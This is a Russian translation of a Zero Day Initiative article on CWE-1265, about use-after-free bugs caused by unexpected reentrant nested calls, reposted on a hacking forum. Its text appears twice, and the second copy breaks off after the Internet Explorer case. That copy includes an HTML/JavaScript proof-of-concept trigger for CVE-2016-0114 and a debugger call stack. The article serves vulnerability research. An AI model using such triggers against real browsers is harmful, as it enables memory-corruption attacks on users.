25 июня 2020 года корпорация MITER выпустила версию 4.1 CWE List1. Среди изменений было добавление новой записи об уязвимости программного обеспечения, которую я внес: CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code via Nested Calls. В этой статье мы рассмотрим значение этой новой записи CWE и рассмотрим некоторые примеры из различных категорий программного обеспечения.
Публикация этого CWE не предназначена для объявления "нового класса ошибок". Скорее, он задуман как новая концептуальная основа для понимания определенных уязвимостей, которые, как известно, существуют и продолжают обнаруживаться сегодня. Часто они проявляются как уязвимости UAF. Этот CWE раскрывает более глубокий аспект их первопричины. Я надеюсь, что этот CWE откроет вам новый взгляд на эти уязвимости, который пригодится вам в ваших исследованиях.
Не реентерабельный код
Проблемы реентерабельности уже давно признаны источником ошибок в программном обеспечении. Код называется "не реентерабельным" если он не был разработан для безопасной работы при наличии реентерабельного выполнения. "Реентерабельное выполнение" определяется как вход блока кода в течение периода времени, в котором этот блок кода уже выполняется.
Когда единица кода не реентерабельна, опасность обычно возникает из-за того, как она изменяет глобальное состояние. Под "глобальным состоянием" мы подразумеваем включение любого хранилища данных, за исключением тех локальных переменных, продолжительность которых ограничена одним вызовом функции. Глобальное состояние включает не только то, что обычно называют глобальными переменными и буферами, но также включает общие распределения кучи и объектно-ориентированное хранилище.
В то время как обсуждения нереентерабельного кода часто концентрируются на нереентерабельных функциях, я считаю полезным расширить определение, включив в него более крупные единицы кода. В общем, любую единицу кода, отвечающую за управление единицей глобального состояния, можно назвать "нереентерабельной", если способ ее изменения глобального состояния представляет опасность повторного входа. Например, класс C++ - это пример единицы кода, которая отвечает за управление единицей глобального состояния, а именно, собственными полями экземпляра класса. Очень часто класс C++ будет написан с предположением, что для одного экземпляра класса общедоступные методы этого экземпляра будут вызываться только последовательно и без перекрытия. Реализации методов не ожидают прерывания вызовами других методов в том же экземпляре класса, за исключением тех отношений вызывающий-вызываемый, которые присущи реализации, где один метод определяется в терминах другого.
Например, в следующем коде C ++ определенный класс нереентерабелен:
Этот класс отвечает за управление состоянием двух полей x и xSquared. После возврата из вызова set_x эти два поля всегда должны быть согласованы друг с другом. ClassA не предназначен для повторного входа. Если выполнение set_x будет прервано вторым вызовом set_x в том же экземпляре, может произойти следующее:
Конечным результатом является то, что поля этого экземпляра класса останутся в несогласованном состоянии с x, равным 3, и xSquared, установленным в 4. ClassA не реентерабелен, поскольку не ожидает, что вызывающие объекты будут вызывать его общедоступные методы чередующимся образом. Это не значит, что ClassA глючит. Напротив, то, что показано в ClassA, является типичной и вполне приемлемой практикой кодирования. На самом деле это означает, что весь код, использующий ClassA, должен быть написан таким образом, чтобы гарантировать, что не будет повторных вызовов методов любого отдельного экземпляра ClassA.
И наоборот, когда мы рассматриваем конструктор ClassA, мы можем заметить, что метод set_x вызывается в середине вызова конструктора, но это не повод для беспокойства. Это неотъемлемая часть конструкции самого ClassA, и ClassA специально предназначен для работы таким образом.
Классические причины нереентерабельного выполнения
Какие обстоятельства приводят к повторному исполнению? Классически обсуждаются два сценария:
1 - Обработка сигнала: в этом сценарии происходит событие, которое нарушает нормальное выполнение инструкций программы. Это может быть аппаратное прерывание, сбой процессора или "сигнал", искусственно введенный в работающий процесс через механизм, определяемый ОС. В любом из этих событий нормальный поток программы внезапно переключается на процедуру обработчика. По завершении процедуры обработчика может быть возобновлено нормальное выполнение программы. Поскольку подпрограмма обработчика может быть вызвана в произвольных точках выполнения программы, возможно, что нереентерабельный код будет запущен в момент запуска обработчика. Если подпрограмма обработчика сама вызывает этот нереентерабельный код, состояние может быть повреждено. Этот сценарий описан в документе CWE-479: Обработчик сигналов, использующий нереентерабельную функцию.
2 - Многопоточность: в этом сценарии нереентерабельный код вводится более чем в одном потоке. Если вызов в одном потоке еще не завершился к моменту начала второго вызова в другом потоке, состояние может быть повреждено. Этот сценарий описан в CWE-663: Использование нереентерабельной функции в конкурентном контексте.
Новая причина нереентерабельного кода
CWE-1265 описывает недавно распознанный сценарий для реентерабельного исполнения. В отличие от двух сценариев, рассмотренных в предыдущем разделе, эта новая причина реентерабельности, вероятно, возникнет только в сложных программных системах. Это особенно влияет на системы, в которых существует взаимодействие между доверенным и частично доверенным кодом, например веб-браузеры.
Фундаментальная проблема заключается в следующем: когда системы достигают определенного уровня сложности, для разработчиков становится чрезмерно обременительной необходимость всегда полностью распознавать и предвидеть все возможные пути кода, которые могут исходить из вызова данной функции. Это связано с тем, что один вызов функции может создать глубокий стек вызовов других вложенных вызовов, а один вызов может привести к большому количеству различных возможных деревьев вложенных вызовов различных функций. Злоумышленник может иметь возможность выбирать из очень большого числа этих возможных деревьев вызовов, создавая входные данные или выполняя тщательно подобранные взаимодействия с системой. Это особенно верно, если злоумышленнику разрешено предоставить частично доверенный код, например сценарий, который будет выполняться (или интерпретироваться) в потоке. В результате возникает риск того, что вызов функции из нереентерабельного кода приведет к опасному повторному входу через глубокую и неожиданную цепочку вложенных вызовов.
Таким образом, нереентерабельный код может быть повторно введен, даже если сигнал не поступил, и даже если никакой другой поток не вмешался. Вместо этого реентерабельность происходит исключительно через вложенность вызовов. Когда уязвимость возникает таким образом, она описывается в нашем новом CWE, CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code via Nested Calls.
Примечательно, что этот CWE не имеет ничего общего с параллелизмом. Соответствующее выполнение происходит исключительно в одном потоке. Фактически, этот CWE вполне может применяться к уязвимости в однопоточном приложении. Следовательно, это не может быть защищено с помощью примитивов синхронизации.
В некоторых случаях уязвимость возникает из-за рекурсивного вызова (прямого или косвенного) одной функции, которая не должна вызываться рекурсивно. Однако обычно это не так. Скорее, ключевым моментом является то, что некоторая нереентерабельная единица кода повторно вводится через стек вызовов. Например, во время выполнения некоторого общедоступного метода объекта может возникнуть последовательность вложенных вызовов, которая в конечном итоге вызывает другой открытый метод того же объекта. Как обсуждалось выше, объекты, реализованные как классы C ++, часто пишутся с предположением, что клиент будет вызывать только одну общедоступную операцию за раз и что следующая общедоступная операция не начнется до тех пор, пока последняя не вернется. В нашем уязвимом сценарии это предположение неверно.
Уязвимости этого типа имеют большое преимущество перед другими ошибками реентерабельного типа с точки зрения их эксплуатации. Когда повторный вход происходит из-за обработчика сигнала или из-за многопоточности, существует внутреннее состояние гонки. Конечное состояние системы будет зависеть от небольших различий во времени, например, от того, какая инструкция прерывается при первоначальном выполнении. В отличие от этого, CWE-1265 описывает класс уязвимостей, которые полностью детерминированы и поэтому легче поддаются надежной эксплуатации.
Как упоминалось во введении к этой статье, обычным следствием использования CWE-1265 является UAF. UAF может легко произойти, если злоумышленник может заставить вложенный вызов освободить память, которая, как ожидает внешний вызов, останется выделенной на протяжении всего процесса выполнения.
Далее мы подробно рассмотрим некоторые опубликованные уязвимости, которые можно рассматривать задним числом как примеры CWE-1265.Мы представляем три тематических исследования.
Пример 1: ZDI-CAN-3499/CVE-2016-0114: уязвимость удаленного выполнения кода управления диапазоном ввода Microsoft Internet Explorer - UAF
ZDI-CAN-3499 - это уязвимость в Internet Explorer, которую я обнаружил в январе 2016 года. Активация этой уязвимости вызывает сбой, показывающий, что произошло UAF. Однако более глубокий анализ показывает, что истинная проблема заключается в реентерабельности.
UAF имеет структуру размером 0x90 байт, принадлежащую объекту CInput (объект, представляющий элемент HTML <input>). Структура размером 0x90 байт не имеет имени в общедоступных символах, но из анализа ясно, что она поддерживает состояние пользовательского интерфейса ползунка. Соответственно, мы будем называть это структурой Slider. Она создается только для входных элементов формы <input type = "range">.
Поскольку структура Slider актуальна только тогда, когда атрибут type имеет значение range, IE освободит структуру, если сценарий изменит тип на любое значение, кроме диапазона. Это может привести к UAF. Хотя полностью функциональный PoC требует значительной дополнительной сложности3, суть триггера заключается в следующем:
PoC изменяет атрибут ширины CSS элемента ввода, чтобы вызвать срабатывание события onresize. func2 обрабатывает это событие и снова изменяет свойство width, повторяя процесс несколько раз, пока не будет вызван путь уязвимого кода. Во время последней итерации func2 изменяет атрибут type с диапазона на текст, освобождая структуру Slider. Вскоре после этого структура Slider повторно используется для UAF.
Вот стек вызовов на момент освобождения структуры Slider. Весь анализ, показанный ниже, взят из MSHTML 11.0.9600.18125 (Windows 7 x86, уровень исправления декабрь 2015 г.).
Обратите внимание на присутствие CInput :: CacheTrackContentRect в стеке вызовов. Эта функция играет ключевую роль в уязвимости, потому что приводит к ошибочному повторному использованию Slider. Следующий код взят из Cinput::CacheTrackContentRect:
CInput::CacheTrackContentRect извлекает указатель на Slider из поля CInput, расположенного по смещению +0xA0. Затем он вычисляет смещение +0x7c в структуре Slider и передает этот адрес в качестве параметра в CElement:: GetWidthHelper. CElement::GetWidthHelper использует его как выходной параметр, что означает, что он будет записывать результат по указанному адресу перед возвратом. Уязвимость возникает из-за того, что Slider освобождается до записи CElement::GetWidthHelper в параметр out. Когда CElement::GetWidthHelper в конечном итоге выполняет запись, он записывает в уже освобожденную память. Следовательно, эта уязвимость является результатом использования структуры Slider после освобождения.
Однако с нашим пониманием CWE-1265 мы можем выразить причину этого UAF с большей конкретностью. Обращаясь к стеку вызовов на рисунке 3, обратите внимание, что CInput::CacheTrackContentRect вызывает CElement:: GetWidthHelper, и этот вызов приводит к глубокому и запутанному стеку вызовов. В конечном итоге он производит новый вызов метода объекта CInput, а именно CInput::OnPropertyChange, изменяя состояние CInput и уничтожая Slider. Код в CInput::CacheTrackContentRect, как показано на рисунке 4, не был написан с расчетом на то, что кажущийся безобидным вызов CElement::GetWidthHelper может привести к повторному вызову произвольных методов CInput, изменяющих состояние объекта CInput.
Мы пришли к выводу, что истинная основная причина ZDI-CAN-3499 - непредвиденное повторное использование реализации Cinput. Авторы кода в MSHTML не ожидали, что новые произвольные операции над CInput будут инициированы из CInput:: CacheTrackContentRect. Тем не менее стек вызовов показывает, что при наличии враждебного ввода действительно возможно произвести такой вложенный вызов. Вложенный вызов изменяет состояние, поддерживаемое CInput, нарушая предположение о состоянии CInput, сделанное включающим вызовом Cinput::CacheTrackContentRect.
Как показано на рисунке 3, отличительной чертой CWE-1265 является стек вызовов, который неожиданно повторно вводит блок кода, который не следует повторно вводить (здесь, реализация класса CInput) через запутанную и непредвиденную последовательность вложенных вызовов, на которую влияют враждебные ввод.
Пример 2: ZDI-CAN-6129/CVE-2018-8275: уязвимость Microsoft Chakra Array.splice Use-After-Free, связанная с удаленным выполнением кода
Это уязвимость в обработке массивов в движке Microsoft Chakra JavaScript, которую я обнаружил в апреле 2018 года.
Для правильного понимания этой уязвимости мы должны начать с краткого введения в то, как Chakra представляет массивы в памяти. Хранение массивов в любом современном движке JavaScript - довольно большая тема, но на данный момент мы должны понимать следующие моменты: в JavaScript сценарий может создавать массив и назначать его различным индексам несмежным образом, сделать массив "разреженным". Также возможно и довольно часто сценарии создают более традиционный вид массива, содержащий большой диапазон смежных индексов. Механизм JavaScript должен иметь возможность эффективно представлять оба типа массивов в памяти. В реализации Chakra массив JavaScript представлен объектом C++ типа JavascriptArray, который поддерживает связанный список сегментов массива, каждый из которых представлен структурой типа SparseArraySegment. Каждый сегмент хранит содержимое единого непрерывного диапазона индексов. Эта схема решает проблему эффективности памяти. Разреженный массив может эффективно храниться с использованием большого количества небольших сегментов, в то время как массив с большим непрерывным диапазоном индексов может эффективно храниться с одним большим сегментом. Однако остается одна проблема: сегменты хранятся в связанном списке, который не обеспечивает быстрый произвольный доступ к индексам. Чтобы исправить эту ситуацию, JavascriptArray также может поддерживать хэш-карту, которая сопоставляет индексы с указателями на соответствующие сегменты. Это известно как "карта сегментов" и функционирует как своего рода кеш. Строится только под запросу. Перед любой модификацией массива, для которой карта не может быть обновлена простым способом, Chakra просто отбрасывает карту. Это называется "очисткой" или "дампом" карты. В этом случае карта будет перестроена в следующий раз, когда она понадобится.На этом этапе вы, возможно, догадались, что мы будем говорить о проблеме недействительности кеша.
Я заметил уязвимый код в ChakraCore /lib/Runtime/Library/JavascriptArray.cpp, в методе JavascriptArray:: TryArraySplice, который является частью реализации Array.prototype.splice:
Перед выполнением любых операций, которые вносят изменения в pArr, код вызывает pArr->ClearSegmentMap(), чтобы аннулировать карту сегментов, поскольку данные в карте могут больше не быть правильными, как только мы начнем вносить изменения в сегменты pArr. Проблема в том, что сразу после очистки карты движок вызывает конструктор видов объекта. Это дает возможность сценарию злоумышленника выполнить и инициировать новую операцию с массивом pArr, которая перестраивает карту сегментов. После возврата из конструктора видов TryArraySplice приступает к внесению изменений в pArr. Потенциально это удаляет некоторые сегменты pArr, на которые все еще ссылается устаревшая карта сегментов, создавая UAF
Чтобы сформулировать это с точки зрения реентерабельности: автор кода на рисунке 5 предположил, что не будет реентерабельности методов, которые изменяют pArr изнутри TryArraySplice, подразумевая, что после очистки карты сегментов можно с уверенностью предположить, что он останется очищено до конца вызова TryArraySplice. Посредством состязательного ввода мы можем произвести такой повторный вызов, нарушив предполагаемое безопасное состояние карты сегмента.
Соответствующий стек вызовов показан ниже.
Как обычно, отличительной чертой CWE-1265 является запутанный стек вызовов, показывающий ненормальный и непредвиденный внутренний вызов нереентерабельной единицы кода, в то время как внешний вызов находится в процессе выполнения.
Пример 3: ZDI-CAN-6343/CVE-2018-8420: уязвимость "Double Kill" в MSXML6
Злоумышленники могут использовать функцию VBScript Class_Terminate для создания множества аномальных потоков управления. Я подробно рассказал о некоторых из них в блоге в 2018 году. Некоторые из этих аномальных потоков управления могут быть точно описаны в CWE-1265. В качестве одного наглядного примера смотри второй баг, выделенный в этом сообщении.
Однако здесь я хотел бы представить вариант уязвимости "Double Kill", обсуждаемой в конце этого поста. Термин "Double Kill" был применен к группе уязвимостей, в которой Class_Terminate производит повторный вызов VariantClear. Следствием этого является ошибочное двойное уменьшение счетчика ссылок COM-объекта, на который указывает VARIANT. Таким образом, уязвимости "Double Kill" по своей сути являются примерами CWE-1265, поскольку они включают повторный вход VariantClear (для того же VARIANT) через вложенные вызовы. Microsoft внесла исправления в VariantClear в мае 2018 года, изменив его реализацию, чтобы сделать его практически безопасным для реентерабельности.
Однако оказалось, что были некоторые варианты "Double Kill", которые не включали функцию VariantClear и не были исправлены патчем от мая 2018 года. ZDI-CAN-6343/CVE-2018-8420 - это ошибка в MSXML6, которую я обнаружил в мае 2018 года. Class_Terminate может использоваться длля установщика свойства свойства onreadystatechange объекта XMLHTTP. PoC выглядит следующим образом:
В [1] первый набор свойств присваивает свойству экземпляр MyClass. В [2] функция установки put_onreadystatechange сначала вызывает Release для экземпляра MyClass, который является текущим значением свойства, таким образом вызывая Class_Terminate. Внутри этой функции, в [3], put_onreadystatechange вызывается реентерабельным способом для "Double Kill". Это вызывает второе ложное уменьшение счетчика ссылок экземпляра MyClass. Когда выполнение достигает [4], obj содержит ссылку на экземпляр MyClass, но к этому времени он уже освобожден из-за постороннего уменьшения его счетчика ссылок.
Стек вызовов, показывающий реентерабельность:
На рисунке 8 показано, что XMLHttp :: put_onreadystatechange был повторно введен через неожиданную цепочку вложенных вызовов, что является отличительной чертой CWE-1265.
Заключение
Аномальные реентерабельные стеки вызовов являются основной причиной многочисленных уязвимостей, обнаруженных в сложных программных системах. Это особенно верно для программного обеспечения, которое включает в себя механизм, который выполняет или интерпретирует ненадежный сценарий. Присутствие ненадежного сценария в среде выполнения может легко превратить то, что обычно было бы безобидным вызовом, в отправную точку для запутанной последовательности вложенных вызовов, в конечном итоге приводя к повторному вызову, который изменяет данные таким образом, который нарушает предположения, сделанные исходной вызывающей функцией. Я надеюсь, что это обсуждение послужит полезной концептуальной основой для поиска и анализа этих типов уязвимостей.
Источник https://www.zerodayinitiative.com/b...understand-vulnerable-reentrant-control-flows
Автор перевода: yashechka
Переведено специально для https://xss.pro
Публикация этого CWE не предназначена для объявления "нового класса ошибок". Скорее, он задуман как новая концептуальная основа для понимания определенных уязвимостей, которые, как известно, существуют и продолжают обнаруживаться сегодня. Часто они проявляются как уязвимости UAF. Этот CWE раскрывает более глубокий аспект их первопричины. Я надеюсь, что этот CWE откроет вам новый взгляд на эти уязвимости, который пригодится вам в ваших исследованиях.
Не реентерабельный код
Проблемы реентерабельности уже давно признаны источником ошибок в программном обеспечении. Код называется "не реентерабельным" если он не был разработан для безопасной работы при наличии реентерабельного выполнения. "Реентерабельное выполнение" определяется как вход блока кода в течение периода времени, в котором этот блок кода уже выполняется.
Когда единица кода не реентерабельна, опасность обычно возникает из-за того, как она изменяет глобальное состояние. Под "глобальным состоянием" мы подразумеваем включение любого хранилища данных, за исключением тех локальных переменных, продолжительность которых ограничена одним вызовом функции. Глобальное состояние включает не только то, что обычно называют глобальными переменными и буферами, но также включает общие распределения кучи и объектно-ориентированное хранилище.
В то время как обсуждения нереентерабельного кода часто концентрируются на нереентерабельных функциях, я считаю полезным расширить определение, включив в него более крупные единицы кода. В общем, любую единицу кода, отвечающую за управление единицей глобального состояния, можно назвать "нереентерабельной", если способ ее изменения глобального состояния представляет опасность повторного входа. Например, класс C++ - это пример единицы кода, которая отвечает за управление единицей глобального состояния, а именно, собственными полями экземпляра класса. Очень часто класс C++ будет написан с предположением, что для одного экземпляра класса общедоступные методы этого экземпляра будут вызываться только последовательно и без перекрытия. Реализации методов не ожидают прерывания вызовами других методов в том же экземпляре класса, за исключением тех отношений вызывающий-вызываемый, которые присущи реализации, где один метод определяется в терминах другого.
Например, в следующем коде C ++ определенный класс нереентерабелен:
C++:
class ClassA
{
public:
ClassA(double _x) { set_x(_x); };
void set_x(double _x) {
x = _x;
xSquared = _x * _x;
};
private:
double x;
double xSquared;
};
Этот класс отвечает за управление состоянием двух полей x и xSquared. После возврата из вызова set_x эти два поля всегда должны быть согласованы друг с другом. ClassA не предназначен для повторного входа. Если выполнение set_x будет прервано вторым вызовом set_x в том же экземпляре, может произойти следующее:
- Начинается выполнение первого вызова. Допустим, передан аргумент 2.
- Первый вызов устанавливает поле x равным 2.
- Теперь прерывается второй вызов (возможные механизмы мы обсудим позже в этой статье). Допустим, этому вызову передан аргумент 3.
- Второй вызов начинается и заканчивается, в поле x устанавливается значение 3, а поле xSquared - 9.
- Первый вызов возобновляется, и xSquared изменяется на 4.
Конечным результатом является то, что поля этого экземпляра класса останутся в несогласованном состоянии с x, равным 3, и xSquared, установленным в 4. ClassA не реентерабелен, поскольку не ожидает, что вызывающие объекты будут вызывать его общедоступные методы чередующимся образом. Это не значит, что ClassA глючит. Напротив, то, что показано в ClassA, является типичной и вполне приемлемой практикой кодирования. На самом деле это означает, что весь код, использующий ClassA, должен быть написан таким образом, чтобы гарантировать, что не будет повторных вызовов методов любого отдельного экземпляра ClassA.
И наоборот, когда мы рассматриваем конструктор ClassA, мы можем заметить, что метод set_x вызывается в середине вызова конструктора, но это не повод для беспокойства. Это неотъемлемая часть конструкции самого ClassA, и ClassA специально предназначен для работы таким образом.
Классические причины нереентерабельного выполнения
Какие обстоятельства приводят к повторному исполнению? Классически обсуждаются два сценария:
1 - Обработка сигнала: в этом сценарии происходит событие, которое нарушает нормальное выполнение инструкций программы. Это может быть аппаратное прерывание, сбой процессора или "сигнал", искусственно введенный в работающий процесс через механизм, определяемый ОС. В любом из этих событий нормальный поток программы внезапно переключается на процедуру обработчика. По завершении процедуры обработчика может быть возобновлено нормальное выполнение программы. Поскольку подпрограмма обработчика может быть вызвана в произвольных точках выполнения программы, возможно, что нереентерабельный код будет запущен в момент запуска обработчика. Если подпрограмма обработчика сама вызывает этот нереентерабельный код, состояние может быть повреждено. Этот сценарий описан в документе CWE-479: Обработчик сигналов, использующий нереентерабельную функцию.
2 - Многопоточность: в этом сценарии нереентерабельный код вводится более чем в одном потоке. Если вызов в одном потоке еще не завершился к моменту начала второго вызова в другом потоке, состояние может быть повреждено. Этот сценарий описан в CWE-663: Использование нереентерабельной функции в конкурентном контексте.
Новая причина нереентерабельного кода
CWE-1265 описывает недавно распознанный сценарий для реентерабельного исполнения. В отличие от двух сценариев, рассмотренных в предыдущем разделе, эта новая причина реентерабельности, вероятно, возникнет только в сложных программных системах. Это особенно влияет на системы, в которых существует взаимодействие между доверенным и частично доверенным кодом, например веб-браузеры.
Фундаментальная проблема заключается в следующем: когда системы достигают определенного уровня сложности, для разработчиков становится чрезмерно обременительной необходимость всегда полностью распознавать и предвидеть все возможные пути кода, которые могут исходить из вызова данной функции. Это связано с тем, что один вызов функции может создать глубокий стек вызовов других вложенных вызовов, а один вызов может привести к большому количеству различных возможных деревьев вложенных вызовов различных функций. Злоумышленник может иметь возможность выбирать из очень большого числа этих возможных деревьев вызовов, создавая входные данные или выполняя тщательно подобранные взаимодействия с системой. Это особенно верно, если злоумышленнику разрешено предоставить частично доверенный код, например сценарий, который будет выполняться (или интерпретироваться) в потоке. В результате возникает риск того, что вызов функции из нереентерабельного кода приведет к опасному повторному входу через глубокую и неожиданную цепочку вложенных вызовов.
Таким образом, нереентерабельный код может быть повторно введен, даже если сигнал не поступил, и даже если никакой другой поток не вмешался. Вместо этого реентерабельность происходит исключительно через вложенность вызовов. Когда уязвимость возникает таким образом, она описывается в нашем новом CWE, CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code via Nested Calls.
Примечательно, что этот CWE не имеет ничего общего с параллелизмом. Соответствующее выполнение происходит исключительно в одном потоке. Фактически, этот CWE вполне может применяться к уязвимости в однопоточном приложении. Следовательно, это не может быть защищено с помощью примитивов синхронизации.
В некоторых случаях уязвимость возникает из-за рекурсивного вызова (прямого или косвенного) одной функции, которая не должна вызываться рекурсивно. Однако обычно это не так. Скорее, ключевым моментом является то, что некоторая нереентерабельная единица кода повторно вводится через стек вызовов. Например, во время выполнения некоторого общедоступного метода объекта может возникнуть последовательность вложенных вызовов, которая в конечном итоге вызывает другой открытый метод того же объекта. Как обсуждалось выше, объекты, реализованные как классы C ++, часто пишутся с предположением, что клиент будет вызывать только одну общедоступную операцию за раз и что следующая общедоступная операция не начнется до тех пор, пока последняя не вернется. В нашем уязвимом сценарии это предположение неверно.
Уязвимости этого типа имеют большое преимущество перед другими ошибками реентерабельного типа с точки зрения их эксплуатации. Когда повторный вход происходит из-за обработчика сигнала или из-за многопоточности, существует внутреннее состояние гонки. Конечное состояние системы будет зависеть от небольших различий во времени, например, от того, какая инструкция прерывается при первоначальном выполнении. В отличие от этого, CWE-1265 описывает класс уязвимостей, которые полностью детерминированы и поэтому легче поддаются надежной эксплуатации.
Как упоминалось во введении к этой статье, обычным следствием использования CWE-1265 является UAF. UAF может легко произойти, если злоумышленник может заставить вложенный вызов освободить память, которая, как ожидает внешний вызов, останется выделенной на протяжении всего процесса выполнения.
Далее мы подробно рассмотрим некоторые опубликованные уязвимости, которые можно рассматривать задним числом как примеры CWE-1265.Мы представляем три тематических исследования.
Пример 1: ZDI-CAN-3499/CVE-2016-0114: уязвимость удаленного выполнения кода управления диапазоном ввода Microsoft Internet Explorer - UAF
ZDI-CAN-3499 - это уязвимость в Internet Explorer, которую я обнаружил в январе 2016 года. Активация этой уязвимости вызывает сбой, показывающий, что произошло UAF. Однако более глубокий анализ показывает, что истинная проблема заключается в реентерабельности.
UAF имеет структуру размером 0x90 байт, принадлежащую объекту CInput (объект, представляющий элемент HTML <input>). Структура размером 0x90 байт не имеет имени в общедоступных символах, но из анализа ясно, что она поддерживает состояние пользовательского интерфейса ползунка. Соответственно, мы будем называть это структурой Slider. Она создается только для входных элементов формы <input type = "range">.
Поскольку структура Slider актуальна только тогда, когда атрибут type имеет значение range, IE освободит структуру, если сценарий изменит тип на любое значение, кроме диапазона. Это может привести к UAF. Хотя полностью функциональный PoC требует значительной дополнительной сложности3, суть триггера заключается в следующем:
HTML:
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type='text/javascript'>
var w = 300;
var counter1 = 0;
function func1() {
input1.attachEvent("onresize", func2);
input1.style.width = w + "px";
}
function func2() {
counter1++;
if (counter1 == 8) {
input1.type = "text";
}
else {
w++;
input1.style.width = w + "px";
}
}
setTimeout(func1, 500);
</script>
</head>
<body>
<input id="input1" type="range" min="0" max="100" step="5" value="50" style="width:200px" />
</body>
</html>
PoC изменяет атрибут ширины CSS элемента ввода, чтобы вызвать срабатывание события onresize. func2 обрабатывает это событие и снова изменяет свойство width, повторяя процесс несколько раз, пока не будет вызван путь уязвимого кода. Во время последней итерации func2 изменяет атрибут type с диапазона на текст, освобождая структуру Slider. Вскоре после этого структура Slider повторно используется для UAF.
Вот стек вызовов на момент освобождения структуры Slider. Весь анализ, показанный ниже, взят из MSHTML 11.0.9600.18125 (Windows 7 x86, уровень исправления декабрь 2015 г.).
HTML:
ChildEBP RetAddr Args to Child
0c41baf8 5094a53f 00190000 00000000 0ec14f70 kernel32!HeapFree+0x5
0c41bb14 5004ce4e 0ec14f70 50174a19 0000000c MSHTML!MemoryProtection::HeapFree+0x46
0c41bb1c 50174a19 0000000c 502a0623 0ec14f70 MSHTML!ProcessHeapFree+0x10
0c41bb24 502a0623 0ec14f70 0cae9f40 0c41bb70 MSHTML!CDataAry<short>::`scalar deleting destructor'+0x19
0c41bb5c 5035f7ad 000007d0 00000000 50173968 MSHTML!CInput::OnPropertyChange+0xfff39fb3 <=== NESTED METHOD INVOCATION
0c41bbd0 5035ee5f 0db8afe4 0cae9f40 0cae9f50 MSHTML!NUMPROPPARAMS::SetEnumStringProperty+0x2c6
0c41bbfc 50478a44 50173968 00000000 00000000 MSHTML!CBase::put_StringHelper+0x4d
0c41bc38 69570d46 0b62f0f0 02000002 0b62c390 MSHTML!CFastDOM::CHTMLInputElement::Trampoline_Set_type+0x70
0c41bca8 69571757 0b62f0f0 02000002 0b62c390 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x18e
0c41bcd0 69571694 0c41bd88 0f23c8b8 0b62c390 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x9d
0c41bd18 69574c5e 0b5eb8a0 0f23c8b8 0b623120 jscript9!Js::JavascriptOperators::CallSetter+0x76
0c41bd48 69574a6f 0b5eb8a0 0c41bd88 0f23c8b8 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x341
0c41bd68 69574aef 0b5eb8a0 0f23c8b8 0c41bd88 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40
0c41bda4 69569cdf 0b62c390 00000390 0b5eb8a0 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x4d
0c41c058 6956d559 0b5ccfb8 0b623120 0b5ccf80 jscript9!Js::InterpreterStackFrame::Process+0x2c27
0c41c16c 0c0d0fd9 0c41c180 0c41c1c4 695672ae jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
0c41c178 695672ae 0b5e4dc0 00000002 0b5eb970 0xc0d0fd9
0c41c1c4 69567848 00000002 0b5eb780 9d1a5db3 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
0c41c238 6956777d 0f23c8b8 00000002 0b5eb780 jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
0c41c280 69567710 0c41c2ac 00000002 0b5eb780 jscript9!ScriptSite::CallRootFunction+0x42
0c41c2cc 696779c0 0b5e4dc0 0c41c2f4 00000000 jscript9!ScriptSite::Execute+0xd2
0c41c308 696641cc 00000000 0c41c358 00000001 jscript9!JavascriptDispatch::InvokeOnSelf+0xcc
0c41c390 5048cae8 0c0c3444 00000000 00000409 jscript9!JavascriptDispatch::InvokeEx+0x1bd
0c41c3e4 5048ccc8 0c0c3444 50070b68 00000409 MSHTML!CBase::InvokeDispatchExtraParam+0xa8
0c41c4ac 5015c0ba 80011794 0c41c4f0 0c41c5d0 MSHTML!CBase::InvokeAttachEvents+0x1b0
0c41c584 5015c23e 000003f8 80011794 13abcfd8 MSHTML!CBase::InvokeEvent+0x1ce
0c41c708 50369f22 0dd7abd0 0cae9f40 0cac5bb0 MSHTML!CBase::FireEvent+0x10f
0c41c894 50364383 5009af44 00000001 00000000 MSHTML!CElement::FireEvent+0x25a
0c41c8c0 50170ef3 0dd7abd0 00000000 0dd7b208 MSHTML!CElement::FireElementResizeEvents+0x57
0c41c8f4 50171009 00000000 0caedbb0 00000000 MSHTML!CView::ExecuteEventTasks+0x15e
0c41c948 50722aa0 00000000 0ddc3fb8 0000001a MSHTML!CView::EnsureView+0x6d9
0c41c970 5049e99a 0cb0bfc8 00000000 00000000 MSHTML!CElement::EnsureRecalcNotify+0xba
0c41c9a0 50541a84 0c41c9b8 00000000 0ec14fec MSHTML!CElement::GetOffsetParentHelper+0xe2
0c41c9bc 502e3f82 0c41c9dc 000076c0 00000000 MSHTML!CElement::IsSizeRotated+0x37
0c41c9e8 50bf4e4c 0ec14fec 00000000 50bfad40 MSHTML!CElement::GetWidthHelper+0x68
0c41ca30 50bfbfb3 0c41ca50 50bfad4d 0c41ca88 MSHTML!CInput::CacheTrackContentRect+0x163
0c41ca38 50bfad4d 0c41ca88 5008d55b 0cae9f40 MSHTML!CInput::SliderLayoutChange+0x25
0c41ca40 5008d55b 0cae9f40 00000000 00000001 MSHTML!CInput::OnLayoutChange+0xd <=== OUTER METHOD INVOCATION
0c41ca88 5008cc72 9d11da48 0c41cb58 00008002 MSHTML!GlobalWndOnMethodCall+0x17b
0c41cadc 75b0c4f7 00090200 00008002 00000000 MSHTML!GlobalWndProc+0x103
0c41cb08 75b0c5f7 5008c280 00090200 00008002 user32!InternalCallWinProc+0x23
0c41cb80 75b0cc30 00000000 5008c280 00090200 user32!UserCallWinProcCheckWow+0x14b
0c41cbe4 75b0cc88 5008c280 00000000 0c41fdc4 user32!DispatchMessageWorker+0x36d
0c41cbf4 6b26a77c 0c41cc34 0b4bae48 0c9c6fe0 user32!DispatchMessageW+0xf
0c41fdc4 6b2ddf88 0c41fe90 6b2ddc00 0b4bcff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
0c41fe84 76a6ebec 0b4bae48 0c41fea8 6b2e4cc0 IEFRAME!LCIETab_ThreadProc+0x3e7
